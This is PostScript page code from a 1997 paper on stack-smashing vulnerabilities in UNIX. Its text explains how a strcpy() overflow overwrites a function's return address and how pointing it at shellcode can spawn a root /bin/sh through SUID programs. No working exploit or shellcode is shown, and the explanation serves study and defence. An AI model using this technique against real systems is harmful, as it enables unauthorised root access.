9168 M 7305 9168 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 5925 M 7305 5925 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 5742 6978 M (buffer[16]) ST GR GS 1373 9181 7327 5553 DOCLIPBOX n 5225 6768 M 5225 8335 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 5262 8311 M 5225 8321 L 5192 8311 L 5225 8391 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 7288 M 7305 7288 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p60000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 5360 8039 M (strcpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 5963 7999 M (attempts to write 256) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1373 9181 7326 5554 DOCLIPBOX n 5368 7842 M (bytes into buffer, overwriting) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p60000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 5360 7729 M (sfp, ret) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 5888 7689 M ( and) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p60000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 6132 7730 M (*str) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 6370 7776 M (.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 1952 5729 M (before ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 2322 5722 M (strcpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 3002 5729 M ( is) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1373 9181 7326 5554 DOCLIPBOX n 1947 5556 M (called) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1373 9181 7326 5554 DOCLIPBOX n 5563 5729 M (after ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 5849 5722 M (strcpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 6528 5729 M ( is) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1373 9181 7326 5554 DOCLIPBOX n 5563 5556 M (called) ST GR GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 5417 M 7523 5417 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 2215 5286 M (Figure 8.b) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 2825 5286 M ( - Buffer Overflow Example 5.a before and after ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 5548 5286 M (strcpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 6212 5286 M ( call.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 4774 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1952 4774 M (writing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2488 4774 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2618 4774 M (string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3053 4774 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3248 4774 M (A) ST -13 0 MR (') ST -13 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3519 4774 M (\() ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 3575 4774 M (0x41 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4089 4774 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4274 4774 M (hex\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4626 4774 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4940 4774 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5236 4774 M (over ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5588 4774 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5847 4774 M (stack, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6287 4774 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6546 4774 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7000 4774 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4498 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1483 4498 M (changed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2089 4498 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2270 4498 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2479 4498 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3031 4498 M (outside ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3563 4498 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3754 4498 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4009 4498 M (process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4561 4498 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5113 4498 M (space. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5619 4498 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5930 4498 M (running ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6499 4498 M (process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7051 4498 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7334 4498 M (no ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4222 M (longer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1675 4222 M (fetch ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2057 4222 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2309 4222 M (next ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2644 4222 M (instruction ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3404 4222 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3778 4222 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4030 4222 M (proper ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4514 4222 M (address, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5105 4222 M (overwritten ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5921 4222 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6265 4222 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6471 4222 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7020 4222 M (outside ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3946 M (its process space, returning a segmentation fault.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3670 M (Example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2343 3670 M (8.a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2592 3670 M (illustrates ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3289 3670 M (how ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3625 3670 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3915 3670 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4196 3670 M (change ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4717 3670 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4970 3670 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5418 3670 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5968 3670 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6157 3670 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6281 3670 M (dynamic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6904 3670 M (function, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3394 M (based ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1622 3394 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1830 3394 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1946 3394 M (single ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2385 3394 M (byte ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2713 3394 M (copy ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3078 3394 M (overflow. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3805 3394 M (Function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4438 3394 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4878 3394 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5420 3394 M (manipulation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6339 3394 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6492 3394 M (crucial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6987 3394 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7158 3394 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3118 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1880 3118 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2451 3118 M (vulnerabilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3446 3118 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3730 3118 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3885 3118 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4132 3118 M (means ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4602 3118 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4812 3118 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5262 3118 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5472 3118 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5924 3118 M (overflows ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6634 3118 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6882 3118 M (exploited ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2842 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1416 2842 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1703 2842 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2176 2842 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2528 2842 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3028 2842 M (arena. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3557 2842 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3835 2842 M (manipulating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4796 2842 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5083 2842 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5565 2842 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6149 2842 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6528 2842 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6686 2842 M (static ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7121 2842 M (string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2566 M (containing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1957 2566 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2319 2566 M (code, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2723 2566 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2863 2566 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3022 2566 M (possible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3615 2566 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3792 2566 M (transform ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4489 2566 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4694 2566 M (unbounded ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5480 2566 M (string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5907 2566 M (copy ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6278 2566 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6584 2566 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6789 2566 M (instruction ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2290 M (which can execute arbitrary code on the execution stack.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 2040 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p160000 SETFONT GS n 1200 1721 M (9. Shell Code) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 17 17 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1271 M (10) 138 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1338 1230 M ( Examples of shell code for many popular UNIX systems, see appendix A) 4107 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1489 M (_________________________) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9848 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1961 9848 M (shown ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2464 9848 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2662 9848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2934 9848 M (previous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3576 9848 M (section, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4158 9848 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4393 9848 M (manipulating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5339 9848 M (dynamically ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6230 9848 M (allocated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6899 9848 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1565 9572 M (unbounded ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2363 9572 M (byte ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2709 9572 M (copy ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3092 9572 M (operations, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3887 9572 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4593 9572 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4792 9572 M (arbitrary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5426 9572 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5800 9572 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5971 9572 M (possible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6576 9572 M (via ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6839 9572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7102 9572 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1778 9296 M (blindly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2322 9296 M (`) ST -2 0 MR (r) ST -3 0 MR (e) ST -3 0 MR (s) ST -3 0 MR (t) ST -3 0 MR (o) ST -3 0 MR (r) ST -3 0 MR (e) ST -3 0 MR (d) ST -3 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3019 9296 M (following ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3739 9296 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3887 9296 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4515 9296 M (exit. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4922 9296 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5255 9296 M (ability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5753 9296 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5956 9296 M (execute ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6538 9296 M (arbitrary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7186 9296 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (instructions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2046 9020 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2246 9020 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2510 9020 M (superuser ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3210 9020 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3382 9020 M (often ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3785 9020 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4151 9020 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4507 9020 M (calls ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4873 9020 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5183 9020 M (will ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5502 9020 M (allow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5932 9020 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6150 9020 M (attacker ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6738 9020 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6928 9020 M (continue ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8744 M (executing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1940 8744 M (indefinite ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2667 8744 M (commands ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3479 8744 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3708 8744 M (root. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4108 8744 M (To ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4383 8744 M (obtain ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4888 8744 M (maximum ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 5654 8744 M (root) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5931 8744 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6021 8744 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6574 8744 M (privilege, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 8744 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8468 M (interactive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1981 8468 M (bourne ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2516 8468 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2903 8468 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3541 8468 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3725 8468 M (spawned, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 4422 8468 M (/bin/sh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5122 8468 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5279 8468 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5611 8468 M (bourne ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6146 8468 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6533 8468 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6717 8468 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6864 8468 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7251 8468 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8192 M (exists ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1656 8192 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1897 8192 M (every ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2342 8192 M (modern ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2926 8192 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3417 8192 M (system, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3997 8192 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4312 8192 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4498 8192 M (commonly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5285 8192 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5563 8192 M (default ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6100 8192 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6638 8192 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7027 8192 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 8192 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7916 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1961 7916 M (user. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2397 7916 M (Any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2757 7916 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3294 7916 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3682 7916 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3987 7916 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4218 7916 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4597 7916 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4810 7916 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5198 7916 M (code, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5628 7916 M (however, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6317 7916 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6520 7916 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6797 7916 M (interest ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 7916 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7640 M (keeping this study as generic as possible, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 3975 7640 M (/bin/sh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4675 7640 M ( is assumed.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7364 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1889 7364 M (order ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2283 7364 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2454 7364 M (arrange ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2996 7364 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3195 7364 M (interactive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3939 7364 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4295 7364 M (situation, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4951 7364 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5067 7364 M (static ) ST GR 